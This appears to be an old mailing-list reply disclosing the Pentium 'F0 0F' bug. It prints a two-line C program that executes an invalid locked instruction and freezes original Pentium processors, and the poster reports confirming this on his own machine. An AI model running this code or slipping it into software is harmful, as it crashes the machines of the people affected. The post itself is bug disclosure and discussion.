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Re: Procesors wars ?



Hi,


Peter Lorand Peres wrote:
> 
> >lock
> 
> WHAT bug, man. Details. You guys should be selling something, not writing
> to a public list. Why generate suspense ? Want to check it out on some
> site first ;) At least 1/2 of the readers of this list run P's somewhere
> and they are probably dying to know...
...


Sorry about the suspense.  I didn't have a copy of this when I wrote my
previous post.
Here it is:

char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main () { void (*f)() = x; f(); }

This is alleged to completely lock any "true" Intel Pentium.  PentiumII
and the Pentium Pro CPUs are said not to be affected.

I tested it on my Pentium 133MHz and it "worked".  My 486DX2 just gives
SIGILL.

Be carefull when running this, it really works!  (And don't do this to
anyone else's computer!!)


  -Itai